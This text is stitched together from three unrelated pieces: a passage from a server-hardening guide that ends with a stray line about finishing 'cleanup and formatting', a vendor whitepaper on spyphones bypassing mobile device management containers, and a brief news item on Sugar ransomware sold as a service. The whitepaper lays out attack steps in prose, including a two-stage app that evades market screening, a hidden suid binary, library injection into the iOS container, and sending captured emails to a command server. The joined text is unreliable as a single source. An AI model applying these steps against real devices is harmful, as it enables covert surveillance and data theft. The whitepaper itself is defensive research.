vulnerabilities, which often manifest themselves as deviations from the plan. In the planning stages of a server, the following items should be considered: - Identify the purpose(s) of the server. - What information categories will be stored on the server? - What information categories will be processed on or transmitted through the server? - What are the security requirements for this information? - Will any information be retrieved from or stored on another host (e.g., database server, directory server, Web server, Network Attached Storage (NAS) server, Storage Area Network (SAN) server)? - What are the security requirements for any other hosts involved? - What other service(s) will be provided by the server (in general, dedicating the host to only one service is the most secure option)? - What are the security requirements for these additional services? - What are the requirements for continuity of services provided by the server, such as those specified in continuity of operations plans and disaster recovery plans? - Where on the network will the server be located? - Identify the network services that will be provided on the server, such as Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), Simple Mail Transfer Protocol (SMTP), Network File System (NFS), or database services (e.g., Open Database Connectivity [ODBC]). The network protocols to be used for each service (e.g., IPv4, IPv6) should also be identified. - Identify any network service software, both client and server, to be installed on the server and any other support servers. - Identify the users or categories of users of the server and any support hosts. - Determine the privileges that each category of user will have on the server and support hosts. - Determine how the server will be managed (e.g., locally, remotely from the internal network, remotely from external networks). - Decide if and how users will be authenticated and how authentication data will be protected. - Determine how appropriate access to information resources will be enforced. - Determine which server applications meet the organization’s requirements. Consider servers that may offer greater security, albeit with less functionality in some instances. Some issues to consider include: - Cost - Compatibility with existing infrastructure - Knowledge of existing employees - Existing manufacturer relationship - Past vulnerability history - Functionality. - Work closely with manufacturer(s) in the planning stage. The choice of server application may determine the choice of OS. However, to the degree possible, server administrators should choose an OS that provides the following: - Ability to granularly restrict administrative or root level activities to authorized users only - Ability to granularly control access to data on the server - Ability to disable unnecessary network services that may be built into the OS or server software - Ability to control access to various forms of executable programs, such as Common Gateway Interface (CGI) scripts and server plug-ins for Web servers, if applicable - Ability to log appropriate server activities to detect intrusions and attempted intrusions - Provision of a host-based firewall capability to restrict both incoming and outgoing traffic - Support for strong authentication protocols and encryption algorithms. In addition, organizations should consider the availability of trained, experienced staff to administer the server. Many organizations have learned the difficult lesson that a capable and experienced administrator for one type of operating environment is not automatically as effective for another. Many servers host sensitive information, and many others, such as public-facing Web servers, should be treated as sensitive because of the damage to the organization’s reputation that could occur if the servers’ integrity is compromised. In such cases, it is critical that the servers are located in secure physical environments. When planning the location of a server, the following issues should be considered: - Are the appropriate physical security protection mechanisms in place for the server and its networking components (e.g., routers, switches)? Examples include: - Locks - Card reader access - Security guards - Physical intrusion detection systems (e.g., motion sensors, cameras). - Are there appropriate environmental controls so that the necessary humidity and temperature are maintained? If high availability is required, are there redundant environmental controls? - Is there a backup power source? For how long will it provide power? - Is there appropriate fire containment equipment? Does it minimize damage to equipment that would otherwise not be impacted by the fire? - If high availability is required, are there redundant network connections? (For Internet-facing servers, this generally means Internet connections from at least two different Internet service providers [ISP].) - Is there another data center that can be used to host servers in the event of a catastrophe at the original data center? - If the location is subject to known natural disasters, is it hardened against those disasters and/or is there a contingency site outside the potential disaster area? ### 3.2 Security Management Staff Because server security is tightly intertwined with the organization’s general information system security posture, a number of IT and system security staff may be involved in server planning, implementation, and administration. This section provides a list of generic roles and identifies their responsibilities as they relate to server security. These roles are for the purpose of discussion and may vary by organization. #### 3.2.1 Chief Information Officer The Chief Information Officer (CIO) ensures that the organization’s security posture is adequate. The CIO provides direction and advisory services for the protection of information systems for the entire organization. The CIO is responsible for the following activities associated with servers: - Coordinating the development and maintenance of the organization’s information security policies, standards, and procedures - Coordinating the development and maintenance of the organization’s change control and management procedures - Ensuring the establishment of, and compliance with, consistent IT security policies for departments throughout the organization. #### 3.2.2 Information Systems Security Program Managers The Information Systems Security Program Managers (ISSPM) oversee the implementation of and compliance with the standards, rules, and regulations specified in the organization’s security policy. The ISSPMs are responsible for the following activities associated with servers: - Ensuring that security procedures are developed and implemented - Ensuring that security policies, standards, and requirements are followed - Ensuring that all critical systems are identified and that contingency planning, disaster recovery plans, and continuity of operations plans exist for these critical systems - Ensuring that critical systems are identified and scheduled for periodic security testing according to the security policy requirements of each respective system. #### 3.2.3 Information Systems Security Officers Information Systems Security Officers (ISSO) are responsible for overseeing all aspects of information security within a specific organizational entity. They ensure that the organization’s information security practices comply with organizational and departmental policies, standards, and procedures. ISSOs are responsible for the following activities associated with servers: - Developing internal security standards and procedures for the servers and supporting network infrastructure - Cooperating in the development and implementation of security tools, mechanisms, and mitigation techniques - Maintaining standard configuration profiles for the servers and supporting network infrastructure controlled by the organization, including, but not limited to, OSs, firewalls, routers, and server applications - Maintaining operational integrity of systems by conducting security tests and ensuring that designated IT professionals are conducting scheduled testing on critical systems. #### 3.2.4 Server, Network, and Security Administrators Server administrators are system architects responsible for the overall design, implementation, and maintenance of a server. Network administrators are responsible for the overall design, implementation, and maintenance of a network. Security administrators are dedicated to performing information security functions for servers and other hosts, as well as networks. Organizations that have a dedicated information security team usually have security administrators. On a daily basis, server, network, and security administrators contend with the security requirements of the specific systems for which they are responsible. Security issues and solutions can originate from either outside (e.g., security patches and fixes from the manufacturer or computer security incident response teams) or within the organization (e.g., the security office). The administrators are responsible for the following activities associated with servers: - Installing and configuring systems in compliance with the organizational security policies and standard system and network configurations - Maintaining systems in a secure manner, including frequent backups and timely application of patches - Monitoring system integrity, protection levels, and security-related events - Following up on detected security anomalies associated with their information system resources - Conducting security tests as required. ### 3.3 Management Practices Appropriate management practices are critical to operating and maintaining a secure server. Security practices entail the identification of an organization’s information system assets and the development, documentation, and implementation of policies, standards, procedures, and guidelines that ensure confidentiality, integrity, and availability of information system resources. To ensure the security of a server and the supporting network infrastructure, organizations should implement the following practices: - **Organizational Information System Security Policy**—A security policy should specify the basic information system security tenets and rules, and their intended internal purpose. The policy should also outline who in the organization is responsible for particular areas of information security (e.g., implementation, enforcement, audit, review). The policy must be enforced consistently throughout the organization to be effective. Generally, the CIO is responsible for drafting the organization’s security policy. - **Configuration/Change Control and Management**—The process of controlling modification to a system’s design, hardware, firmware, and software provides sufficient assurance that the system is protected against the introduction of an improper modification before, during, and after system implementation. Configuration control leads to consistency with the organization’s information system security policy. Configuration control is traditionally overseen by a configuration control board that is the final authority on all proposed changes to an information system. If resources allow, consider the use of development, quality assurance, and/or test environments so that changes can be vetted and tested before deployment in production. - **Risk Assessment and Management**—Risk assessment is the process of analyzing and interpreting risk. It involves determining an assessment’s scope and methodology, collecting and analyzing risk-related data, and interpreting the risk analysis results. Collecting and analyzing risk data requires identifying assets, threats, vulnerabilities, safeguards, consequences, and the probability of a successful attack. Risk management is the process of selecting and implementing controls to reduce risk to a level acceptable to the organization. - **Standardized Configurations**—Organizations should develop standardized secure configurations for widely used OSs and server software. This will provide recommendations to server and network administrators on how to configure their systems securely and ensure consistency and compliance with the organizational security policy. Because it only takes one insecurely configured host to compromise a network, organizations with a significant number of hosts are especially encouraged to apply this recommendation. - **Secure Programming Practices**—Organizations should adopt secure application development guidelines to ensure that they develop their applications for servers in a sufficiently secure manner. - **Security Awareness and Training**—A security training program is critical to the overall security posture of an organization. Making users and administrators aware of their security responsibilities and teaching the correct practices helps them change their behavior to conform to security best practices. Training also supports individual accountability, which is an important method for improving information system security. If the user community includes members of the general public, providing security awareness specifically targeting them might also be appropriate. - **Contingency, Continuity of Operations, and Disaster Recovery Planning**—Contingency plans, continuity of operations plans, and disaster recovery plans are established in advance to allow an organization or facility to maintain operations in the event of a disruption. - **Certification and Accreditation**—Certification in the context of information system security means that a system has been analyzed to determine how well it meets all of the security requirements of the organization. Accreditation occurs when the organization’s management accepts that the system meets the organization’s security requirements. ### 3.4 System Security Plan The objective of system security planning is to improve protection of information system resources. Plans that adequately protect information assets require managers and information owners—directly affected by and interested in the information and/or processing capabilities—to be convinced that their information assets are adequately protected from loss, misuse, unauthorized access or modification, unavailability, and undetected activities. The purpose of the system security plan is to provide an overview of the security and privacy requirements of the system and describe the controls in place or planned for meeting those requirements. The system security plan also delineates responsibilities and expected behavior of all individuals who access the system. The system security plan should be viewed as documentation of the structured process of planning adequate, cost-effective security protection for a system. It should reflect input from various managers with responsibilities concerning the system, including information owners, the system owner, and the ISSPM. For Federal agencies, all information systems must be covered by a system security plan. Other organizations should strongly consider the completion of a system security plan for each of their systems as well. The information system owner is generally the party responsible for ensuring that the security plan is developed and maintained and that the system is deployed and operated according to the agreed-upon security requirements. In general, an effective system security plan should include the following: - **System Identification**—The first sections of the system security plan provide basic identifying information about the system. They contain general information such as the key points of contact for the system, the purpose of the system, the sensitivity level of the system, and the environment in which the system is deployed, including the network environment, the system’s placement on the network, and the system’s relationships with other systems. - **Controls**—This section of the plan describes the control measures (in place or planned) that are intended to meet the protection requirements of the information system. Controls fall into three general categories: - Management controls, which focus on the management of the computer security system and the management of risk for a system. - Operational controls, which are primarily implemented and executed by people (rather than systems). They often require technical or specialized expertise, and often rely upon management activities as well as technical controls. - Technical controls, which are security mechanisms that the computer system employs. The controls can provide automated protection from unauthorized access or misuse, facilitate detection of security violations, and support security requirements for applications and data. The implementation of technical controls, however, always requires significant operational considerations and should be consistent with the management of security within the organization. ### 3.5 Human Resources Requirements The greatest challenge and expense in developing and securely maintaining a server is providing the necessary human resources to adequately perform the required functions. Many organizations fail to fully recognize the amount of expense and skills required to field a secure server. This failure often results in overworked employees and insecure systems. From the initial planning stages, organizations need to determine the necessary human resource requirements. Appropriate and sufficient human resources are the single most important aspect of effective server security. Organizations should also consider the fact that, in general, technical solutions are not a substitute for skilled and experienced personnel. When considering the human resource implications of developing and deploying a server, organizations should consider the following: - **Required Personnel**—What types of personnel are required? Examples of possible positions are system administrators, server administrators, network administrators, and ISSOs. - **Required Skills**—What are the required skills to adequately plan, develop, and maintain the server in a secure manner? Examples include OS administration, network administration, and programming. - **Available Personnel**—What are the available human resources within the organization? In addition, what are their current skill sets and are they sufficient for supporting the server? Often, an organization discovers that its existing human resources are not sufficient and needs to consider the following options: - Train Current Staff—If personnel are available but they do not have the requisite skills, the organization may choose to train the existing staff in the skills required. Although this is an excellent option, the organization should ensure that employees meet all prerequisites for training. - Acquire Additional Staff—If not enough staff members are available or they do not have the requisite skills, it may be necessary to hire additional personnel or use external resources. Once the organization has staffed the project and the server is active, it will be necessary to ensure the number and skills of the personnel are still adequate. The threat and vulnerability levels of IT systems, including servers, are constantly changing, as is the technology. This means that what is adequate today may not be tomorrow, so staffing needs should be reassessed periodically and additional training and other skills-building activities conducted as needed. --- ## 4. Securing the Server Operating System Most commonly available servers operate on a general-purpose OS. Many security issues can be avoided if the OSs underlying the servers are configured appropriately. Because manufacturers are unaware of each organization’s security needs, server administrators need to configure new servers to reflect their organizations’ security requirements and reconfigure them as those requirements change. The practices recommended here are designed to help server administrators with server security configuration. Server administrators managing existing servers should confirm that their servers address the issues discussed. The techniques for securing different OSs vary greatly; therefore, this section includes the generic procedures common in securing most OSs. Security configuration guides and checklists for many OSs are publicly available; these documents typically contain recommendations for settings stronger than the default level of security, and they may also contain step-by-step instructions for securing servers. In addition, many organizations maintain their own guidelines specific to their requirements. Some automated tools also exist for securing OSs, and their use is recommended. After planning the installation and deployment of the OS, as described in Section 3, and installing the OS, the following basic steps are necessary to secure the OS: - Patch and update the OS - Harden and configure the OS to address security adequately - Install and configure additional security controls, if needed - Test the security of the OS to ensure that the previous steps adequately addressed all security issues. The combined result of these steps should be a reasonable level of protection for the server’s OS. ### 4.1 Patch and Upgrade Operating System Once an OS is installed, applying needed patches or upgrades to correct for known vulnerabilities is essential. Any known vulnerabilities an OS has should be corrected before using it to host a server or otherwise exposing it to untrusted users. To adequately detect and correct these vulnerabilities, server administrators should do the following: - Create, document, and implement a patching process. - Identify vulnerabilities and applicable patches. - Mitigate vulnerabilities temporarily if needed and if feasible (until patches are available, tested, and installed). - Install permanent fixes (patches, upgrades, etc.). Administrators should ensure that servers, particularly new ones, are adequately protected during the patching process. For example, a server that is not fully patched or not configured securely could be compromised by threats if it is openly accessible while it is being patched. When preparing new servers for deployment, administrators should do either of the following: - Keep the servers disconnected from networks or connect them only to an isolated “build” network until all patches have been transferred to the servers through out-of-band means (e.g., CDs) and installed, and the other configuration steps listed in this section have been performed. - Place the servers on a virtual local area network (VLAN) or other network segment that severely restricts what actions the hosts on it can perform and what communications can reach the hosts—only allowing those events that are necessary for patching and configuring the hosts. Do not transfer the hosts to regular network segments until all the configuration steps listed in this section have been performed. Administrators should generally not apply patches to production servers without first testing them on another identically configured server because patches can inadvertently cause unexpected problems with proper server operation. Although administrators can configure servers to download patches automatically, the servers should not be configured to install them automatically so that they can first be tested. ### 4.2 Hardening and Securely Configuring the OS Administrators should perform the following steps to harden and securely configure a server OS: - Remove unnecessary services, applications, and network protocols - Configure OS user authentication - Configure resource controls appropriately. These steps are discussed further in Sections 4.2.1 through 4.2.3. Also, for particularly high-security situations, administrators should consider configuring the OS to act as a bastion host. A bastion host has particularly strong security controls and is configured so as to offer the least functionality possible. The details of establishing a bastion host are necessarily OS-specific, so they are outside the scope of this publication. #### 4.2.1 Remove or Disable Unnecessary Services, Applications, and Network Protocols Ideally, a server should be on a dedicated, single-purpose host. When configuring the OS, remove all services, applications, and network protocols (e.g., IPv4, IPv6) that are not required, and disable any such unnecessary components that cannot be removed. If possible, install the minimal OS configuration and then add, remove, or disable services, applications, and network protocols as needed. Many uninstall scripts or programs are far from perfect in completely removing all components of a service, so it is better not to install unnecessary services. Common types of services and applications that should usually be removed if not required (or disabled if they cannot be removed) include the following: - File and printer sharing services (e.g., Windows Network Basic Input/Output System [NetBIOS] file and printer sharing, Network File System [NFS], FTP) - Wireless networking services - Remote control and remote access programs, particularly those that do not strongly encrypt their communications (e.g., Telnet) - Directory services (e.g., Lightweight Directory Access Protocol [LDAP], Network Information System [NIS]) - Web servers and services - Email services (e.g., SMTP) - Language compilers and libraries - System development tools - System and network management tools and utilities, including Simple Network Management Protocol (SNMP). Removing unnecessary services and applications is preferable to simply disabling them through configuration settings because attacks that attempt to alter settings and activate a disabled service cannot succeed when the functional components are completely removed. Disabled services could also be enabled inadvertently through human error. Removing or disabling unnecessary services enhances the security of a server in several ways: - Other services cannot be compromised and used to attack the host or impair the services of the server. Each service added to a host increases the risk of compromise for that host because each service is another possible avenue of access for an attacker. Less is more secure in this case. - Other services may have defects or may be incompatible with the server itself. By removing or disabling them, they should not affect the server and should potentially improve its availability. - The host can be configured to better suit the requirements of the particular service. Different services might require different hardware and software configurations, which could lead to unnecessary vulnerabilities or negatively affect performance. - By reducing services, the number of logs and log entries is reduced; therefore, detecting unexpected behavior becomes easier. Organizations should determine the services to be enabled on a server. Additional services that might be installed include web servers, database access protocols, file transfer protocols, and remote administration services. These services may be required in certain instances, but they may increase the risks to the server. Whether the risks outweigh the benefits is a decision for each organization to make. #### 4.2.2 Configure OS User Authentication For servers, the authorized users who can configure the OS are limited to a small number of designated server administrators. The users who can access the server, however, may range from a few authorized employees to the entire Internet community. To enforce policy restrictions, if required, the server administrator should configure the OS to authenticate a prospective user by requiring proof that the user is authorized for such access. Even if a server allows unauthenticated access to most of its services, administrative and other types of specialized access should be limited to specific individuals and groups. Enabling authentication by the host computer involves configuring parts of the OS, firmware, and applications on the server, such as the software that implements a network service. In special situations, such as high-value/high-risk servers, organizations may also use authentication hardware, such as tokens or one-time password devices. Use of authentication mechanisms where authentication information is reusable (e.g., passwords) and transmitted in the clear over an untrusted network is strongly discouraged because the information can be intercepted and used by an attacker to masquerade as an authorized user. To ensure the appropriate user authentication is in place, take the following steps: - **Remove or Disable Unneeded Default Accounts**—The default configuration of the OS often includes guest accounts (with and without passwords), administrator or root level accounts, and accounts associated with local and network services. The names and passwords for those accounts are well known. Remove (whenever possible) or disable unnecessary accounts to eliminate their use by attackers, including guest accounts on computers containing sensitive information. For default accounts that need to be retained, including guest accounts, severely restrict access to the accounts, including changing the names (where possible and particularly for administrator or root level accounts) and passwords to be consistent with the organizational password policy. Default account names and passwords are commonly known in the attacker community. - **Disable Non-Interactive Accounts**—Disable accounts (and the associated passwords) that need to exist but do not require an interactive login. For Unix systems, disable the login shell or provide a login shell with NULL functionality (e.g., /bin/false). - **Create the User Groups**—Assign users to the appropriate groups. Then assign rights to the groups, as documented in the deployment plan. This approach is preferable to assigning rights to individual users, which becomes unwieldy with large numbers of users. - **Create the User Accounts**—The deployment plan identifies who will be authorized to use each computer and its services. Create only the necessary accounts. Permit the use of shared accounts only when no viable alternatives exist. Have ordinary user accounts for server administrators that are also users of the server. - **Configure Automated Time Synchronization**—Some authentication protocols, such as Kerberos, will not function if the time differential between the client host and the authenticating server is significant, so servers using such protocols should be configured to automatically synchronize system time with a reliable time server. Typically the time server is internal to the organization and uses the Network Time Protocol (NTP) for synchronization; publicly available NTP servers are also available on the Internet. - **Check the Organization’s Password Policy**—Set account passwords appropriately. Elements that may be addressed in a password policy include the following: - Length—a minimum length for passwords. - Complexity—the mix of characters required. An example is requiring passwords to contain uppercase letters, lowercase letters, and nonalphabetic characters, and to not contain “dictionary” words. - Aging—how long a password may remain unchanged. Many policies require users and administrators to change their passwords periodically. In such cases, the frequency should be determined by the enforced length and complexity of the password, the sensitivity of the information protected, and the exposure level of passwords. If aging is required, consideration should be given to enforcing a minimum aging duration to prevent users from rapidly cycling through password changes to clear out their password history and bypass reuse restrictions. - Reuse—whether a password may be reused. Some users try to defeat a password aging requirement by changing the password to one they have used previously. If reuse is prohibited by policy, it is beneficial, if possible, to ensure that users cannot change their passwords by merely appending characters to the beginning or end of their original passwords (e.g., original password was “mysecret” and is changed to “1mysecret” or “mysecret1”). - Authority—who is allowed to change or reset passwords and what sort of proof is required before initiating any changes. - Password Security—how passwords should be secured, such as not storing passwords unencrypted on the server, and requiring administrators to use different passwords for their server administration accounts than their other administration accounts. - **Configure Computers to Prevent Password Guessing**—It is relatively easy for an unauthorized user to try to gain access to a computer by using automated software tools that attempt all passwords. If the OS provides the capability, configure it to increase the period between login attempts with each unsuccessful attempt. If that is not possible, the alternative is to deny login after a limited number of failed attempts (e.g., three). Typically, the account is “locked out” for a period of time (such as 30 minutes) or until a user with appropriate authority reactivates it. The choice to deny login is another situation that requires the server administrator to make a decision that balances security and convenience. Implementing this recommendation can help prevent some kinds of attacks, but it can also allow an attacker to use failed login attempts to prevent user access, resulting in a DoS condition. The risk of DoS from account lockout is much greater if the server is externally accessible and an attacker knows or can surmise a pattern to your naming convention that allows them to guess account names. Failed network login attempts should not prevent an authorized user or administrator from logging in at the console. Note that all failed login attempts, whether via the network or console, should be logged. If the server will not be administered remotely, disable the ability for the administrator or root level accounts to log in from the network. - **Install and Configure Other Security Mechanisms to Strengthen Authentication**—If the information on the server requires it, consider using other authentication mechanisms such as biometrics, smart cards, client/server certificates, or one-time password systems. They can be more secure than traditional password-based systems. --- This concludes the cleanup and formatting of the provided text into Markdown.
# Practical Attacks against Mobile Device Management (MDM) **Daniel Brodie, Sr. Security Researcher, Lacoon Mobile Security** ## Introduction Mobile Device Management (MDM) solutions are perceived to be the ultimate solution for mobile security in the enterprise. According to Gartner Inc’s October 2012 report: “Over the next five years, 65% of enterprises will adopt a mobile device management (MDM) solution for their corporate liable users.” But do MDM solutions really provide the security that corporations are looking for? In this whitepaper, we show how spyphones - surveillance tools surreptitiously planted on a user’s handheld device – are able to circumvent common MDM security offerings, such as secure containers. ## A Short Primer to MDMs and Secure Containers ### Mobile Device Management (MDM) As their names imply, MDMs are mobile policy and configuration management tools. With the rise of consumer-owned and –enabled mobile devices in the enterprise (aka BYOD), organizations have recognized the challenge of establishing and enforcing a standard policy to help them manage the influx of these devices. MDM addresses these needs by providing management across four different layers: - **Software management.** Manages mobile applications, content and operating systems, including: - Provisioning and configuration - Updates, patches and fixes - Authorized software monitoring - Backup/restore procedures - **Network service management.** Gains network-device information such as location, usage and cellular/WiFi, in order to support: - Provisioning - Billing - Help desk/support - **Hardware management.** Manages the physical device components, including: - Provisioning - Inventory - Activation/Deactivation - Performance - **Security management.** Enforcement of security policies, including: - Remote wipe - Remote lock - Secure configuration enforcement - Encryption ### Secure Containers Secure containers separate business and personal data on the mobile and prevent business-critical data from leaking out to unauthorized individuals. This is done by encrypting the data on the phone and providing additional data security features, such as copy-paste DLP. A common scenario for secure containers is to enable companies to perform a “remote-wipe” only on an ex-employee’s business data, rather than removing all mobile data. Thus relieving the anguish (and possibly, also the legal ramifications) of deleting the employee’s personal photographs as well. Popular MDM tools offered with the additional layer of a secure container include: MobileIron, AirWatch, FiberLink, Zenprise and Good Technologies. ### How do secure containers work? The secure container runs in the mobile’s OS supplied sandbox, where the separation between business and personal data is implemented through encryption. All business data in the container is encrypted. In addition, all communications with enterprise assets such as the Exchange Server and cloud-based corporate apps, are performed under SSL encryption. In particular, for iOS, Apple provides additional APIs for MDM solutions which are unavailable to regular iOS apps. These may be used to retrieve information and manage policies. However, the MDM solutions are still restricted in their enforcement capabilities. ## The Mobile Threatscape Looking at the mobile threat landscape, there are two separate categories of malicious mobile applications: 1. **Mass Mobile Malicious Apps.** These are consumer-oriented malicious applications with the obvious financial motivation. Examples of such malicious apps include apps that monetize on premium text, dialers, SMS spammers, and mobile banking trojans. These types of applications are not considered too sophisticated. Typically, the malware developer places the malicious tool on Google Play – or other third-party application market – in hopes of reaching as many downloads as possible. Further, as a consumer-focused mass malware, a device infected with one of these apps does not have much impact on an organization. 2. **Targeted Mobile Attacks, aka Spyphones.** These are mobile surveillance software installed on particular individuals. Once installed, spyphones are privy to all data on the mobile, as well as to all communication passed on the device. As opposed to the mass malware apps, spyphones are installed on a per-device basis. Accordingly, attackers invest heavily in discovering, creating and developing new techniques to install and hide spyphones on the user’s device. This type of malicious software is used to target the organization, with the goal of cyber-espionage. As such, the impact of such an attack on the organization is extremely high – from gaining access to corporate emails and exfiltrating memos discussing the company’s roadmap, to recordings of confidential phone calls and board meetings. Spyphones are not used only against high-end targets. Private individuals have been known too to be victims of spyphones - for example, in the case of cheating spouses. ## Spyphone Capabilities Most spyphones provide, at a minimum, the following capabilities which may prove to be costly to the business: - Eavesdropping and surround recording. Examples: listening in real time on customer calls and recordings of board meetings. - Extracting call and text logs. Examples: text messages which contain board meetings follow-ups and voice memos. - Tracking location. Examples: tracking the location of executives at key accounts meetings. - Snooping on corporate emails and application data. Examples: retrieving corporate emails regarding upcoming M&A activity. ## The Range of Spyphones Lacoon’s Mobile Threat Intelligence (MoTI) arm identified more than 50 families of spyphones. These spyphones run the gamut from dedicated high-end groups targeting specific nations and corporations, to low-end software targeting private consumers. Publicized examples of spyphones from the high-end of the spectrum include: - FinSpy, by The Gamma Group (August 2012) - DaVinci Remote Control System (RCS), by the Hacking Team (July 2012) - LuckyCat (July 2012) - Red October’s mobile component (January 2013) At the lower end of the spectrum are spyphones which most commonly portray themselves as promoting parental controls and spouse monitoring. The operators of these spyphones follow a SaaS business model where the exfiltrated data is stored and managed as a dedicated cloud service. Similarly to a well-run business, the operators of these tools promise professional worldwide support. Their GUI is simple and user-friendly to enable all users – from the tech-savvy to the technologically impaired – to run their service. The difference between the military and non-military grade spyphones? The device infection vectors and accordingly, their cost. Current estimates hold nation-targeted spyphones at $350K. In the meanwhile, the commoners-targeted spyphones follow a monthly low licensing model – sometimes as low as $4.99. The amazing part is that the end result is essentially the same on the targeted devices. So for just a bit more than the price of a Starbucks latte, an attacker can purchase a spyphone with nearly identical capabilities to that of a top-end spyphone. ## Spyphones in the Wild To paint a better picture of how common spyphones are in the wild, Lacoon Mobile Security partnered with global cellular network providers to sample 250,000 subscribers. Sampling was performed on two separate occasions. The first was conducted during March 2012 and the second in late October 2012. It is important to note that these samplings were done on a statistically diverse group of cellular network users and that there was nothing to suggest a higher usage of spyphones than the usual. This type of monitoring provided real-time insights on the infection rates of the different devices. In addition, it allowed the content inspection of the communications to the C&C servers and the analysis of the data that the attackers gathered from users’ mobile devices. ### Survey Findings - **Infection Rates.** The first sampling showed that 1 of 3000 devices had a spyphone installed. In the second sampling, 1 in 1000 devices were infected with a spyphone. - **Spyphone distribution by OS:** In the first sampling – with 48 compromised devices - an overwhelming 74% of infected devices were iOS-enabled. The second sampling showed that 52% of 175 compromised devices were attributed to iOS devices. ## Myth-Busting the Security of Secure Containers Secure containers may rely on different defense mechanisms to protect the corporate data: - Detection of JailBreaking (iOS) and Root (Android) devices. - Prevention of the installation of applications from third-party markets in order to protect against malware. - Encryption of data. - The built-in Mobile OS Sandbox component. However, these measures can be easily bypassed: - There’s a huge Internet community involved in JailBreaking/Rooting efforts. A quick Google search will retrieve not only hacker-oriented details, but also step-by-step guidelines for the layman on JailBreaking the device. - The JailBreaking/Rooting detection mechanisms are quite restricted. Usually, checks are performed only against the features which signify a JailBroken/Rooted device. For example, it will check whether Cydia – an iOS app which allows the downloading of third-party applications – is installed, or SU – the tool used by Android to allow privileged operations. More importantly, there are no detection mechanisms for exploitation. So even if the secure container recognizes a JailBroken/Rooted device, there are no techniques to detect the actual privilege escalation. - Android, for example, attempts to prevent malicious app installation. However, these measures are placed with mass malware in mind. Furthermore, third-party application restrictions should protect against malware. As a security mechanism, this has previously been proved to be defeated. ## Behind the Scenes: Bypassing the Secure Container In the following sections we present proof of concepts for bypassing the secure container – both for Android and for iOS-based devices. ### Android-based devices A spyphone targeting Android-based devices can work in the following manner: 1. As demonstrated in BlackHat Vegas 2012, the attacker creates a “two-stage” application which bypasses the market’s malicious app identification measures (e.g. Bouncer). By using the “two-stage”, the attacker can publish a seemingly innocent application. Once the victim installs the app, the app refers to the malicious code which is then downloaded. 2. The app exploits a mobile OS vulnerability which allows for privilege escalation. For example, the recent vulnerability in the Exynos5 chipset in the drivers used by the camera and multimedia devices. 3. The spyphone creates a hidden ‘suid’ binary and uses it for privileged operations, such as reading the mobile logs. The file is placed in an execute-only directory (i.e. --x--x--x), which allows it to remain hidden from most root detectors. 4. The spyphone listens to events in the ‘adb’ logs. These logs, and their corresponding access permissions, differ between Android versions. For versions 2.3 or less, it’s possible to simply use the logging permissions. For Android version 4.0 and higher, root permissions are required in order to view the logs. 5. The spyphone waits for a log event that signifies that the user is reading an email. ### iOS-based devices A spyphone targeting iOS-based devices generally needs to first Jailbreak the device, and then installs the container-bypassing software. 1. The attacker installs a signed application on the targeted device, through the Enterprise/Developer certificate. 2. The attacker uses a Jailbreak exploit in order to inject code into the secure container. We use the standard DYLD_INSERT_LIBRARIES technique to insert our libraries into the shared memory. In this manner, our (signed) dylib will be loaded into memory when the secure container executes. 3. The attacker removes any trace of the Jailbreak. 4. The spyphone places hooks into the secure container using standard Objective-C hooking mechanisms. 5. The spyphone is alerted when an email is read and pulls the email from the UI elements of the app. 6. Finally, the spyphone sends every email loaded to the spyphone’s C&C server. ## Conclusions The underlying notion of the secure container is that they depend on the integrity of the host system. This encourages us to deliberate the added value of the secure container: - If the host system is uncompromised, what is the added value? - If the host system is compromised, what is the added value? Since the security of these secure containers is dependent on the integrity of the host system, it is enough for the attacker to target the host system. In fact, we have been through this movie before. Desktop applications which have attempted to secure themselves were targeted through the underlying OS. Although mobile OSes attempt to circumvent similar attacks by blocking off the OS to attackers and users alike, common and ever-increasing JailBreaking/Rooting methods are rendering this safety mechanism irrelevant to targeted attacks. In a similar fashion, the lessons learnt from the desktop equivalent may be applied here. If today the security industry understands that controls on devices themselves are not sufficient anymore to the real world, we can expect the same in the mobile world. It is important to recognize that infection is inevitable. As demonstrated throughout this whitepaper, MDMs cannot provide absolute security. They are certainly a beneficial tool in order to separate between business and personal data. As such, MDMs should be used – but as part of a baseline for a multi-layered approach. To quote from RSA’s Security for Business Innovation Council report, “Realizing the Mobile Enterprise”, “Mitigating the effects of malware on corporate data, rather than trying to keep malware off a device entirely, may be a better strategy.” This approach requires thinking outside of the box and the industry is now starting to wake up to this challenge and looking at the network level for threat mitigation. For example, solutions can look at different network parameters and aberrant behavior to signify an infected device. Parameters may be traffic to well-known C&C servers, heuristic behavioral analysis which signify abnormal behavior, sequences of events and data intrusion detection.
# Newly Found Sugar Ransomware is Now Being Offered as RaaS While the ransomware landscape is ever filled with a variety of sophisticated ransomware, a new ransomware family, dubbed Sugar, has surfaced lately to wreak havoc. ## What do we know so far? The cyber threat team at retail giant Walmart has uncovered the new ransomware family Sugar, which is now being made available to cybercriminals as a Ransomware-as-a-Service (RaaS). Written in Delphi, the ransomware was initially spotted in November 2021. Although not many details about the ransomware are available, researchers claim that the Sugar ransomware primarily targets individuals rather than enterprise networks. Based on the telemetry by Fortiguard, the ransomware has infected users in Canada, Thailand, the U.S., Israel, and Lithuania. However, it is still unclear how the ransomware is being distributed to the targets. ## Other characteristics Once executed, the ransomware encrypts files on the compromised machines and appends the ‘encoded01’ extension to them. The malware then displays a ransom note on the victim’s machines, asking for a ransom of around $4.01 in Bitcoin. The ransom note strikes similarities with that employed by the REvil ransomware - except for some differences and misspellings. Moreover, the Tor site used by the ransomware resembles that of the Cl0p ransomware. ## Conclusion While it is still early to predict the impact, the RaaS operations of the Sugar ransomware group are believed to expand the attack scope for its affiliates. This can provide the group with more opportunities to achieve its malicious objectives. Therefore, organizations must take steps to bolster their defense systems to thwart such threats.
